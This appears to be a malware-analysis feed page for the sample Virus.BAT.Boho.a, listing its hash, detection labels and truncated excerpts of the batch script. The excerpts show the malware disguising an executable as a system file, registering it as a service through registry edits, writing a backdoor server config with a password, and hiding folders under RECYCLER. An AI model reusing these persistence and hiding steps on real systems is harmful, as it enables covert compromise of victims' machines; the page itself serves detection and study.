Benign Download

Virus.BAT.Boho.a

RECYCLER directory path (Recycle Bin hiding)Windows system services registry path
SHA-256de57e66ecd7e6fb7b9892cc2ae5a1eed10e07367b5fe4759123055c9ae31f72c
MaleculeH₂(F₂Os)

Evidence

Windows system services registry path lines 1–10
1@echo off
2copy %systemroot%\system32\wbem\secure32\csrscs.exe %SYSTEMROOT%\system32\csrscs.exe /y
3cd %SYSTEMROOT%\system32\wbem\secure32
4echo user_nick z0r-[pwn3d]-%random% >> 1.dll
5instsrv.exe netsvcs %systemroot%\system32\csrscs.exe
6REGSVCZ.EXE add HKLM\SYSTEM\CurrentControlSet\Services\netsvcs\Parameters\Application="%SYSTEMROOT%\system32\wbem\secure32\netsvcs.exe
7REGSVCZ.EXE add HKLM\SYSTEM\CurrentControlSet\Services\netsvcs\Parameters\AppParameters="%SYSTEMROOT%\system32\wbem\secure32\1.dll
8echo [GLOBAL] >> taskmanager.ocx
9echo Version=5.0.0.4 >> taskmanager.ocx
10echo PacketTimeOu …
RECYCLER directory path (Recycle Bin hiding) lines 151–155
151:18… ry^|3] >> taskmanager.ocx
152echo Password=ho2E3434147577EE86767840967CEDCD2B >> taskmanager.ocx
153echo HomeDir=C:\RECYCLER\S-1-5-21-145479639-98328975-939974541-1035\Dc1 >> taskmanager.ocx
154echo SignOn=%SYSTEMROOT%\system32\wbem\secure32\lxmm.hlp >> taskmanager.ocx
155echo SignOff=%SYSTEMROOT%\system32\wbem\secure32\ …
Task Manager process name lines 223–229
223:23… MELCDP >> taskmanager.ocx
224echo SKEYValues= >> taskmanager.ocx
225taskmgr.exe /i /h
226net start tskhlp
227net start netsvcs
228mkdir D:\RECYCLER\S-1-5-21-145479639-98328975-939974541-1035\dc1\debug
229mkdir E:\RE …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.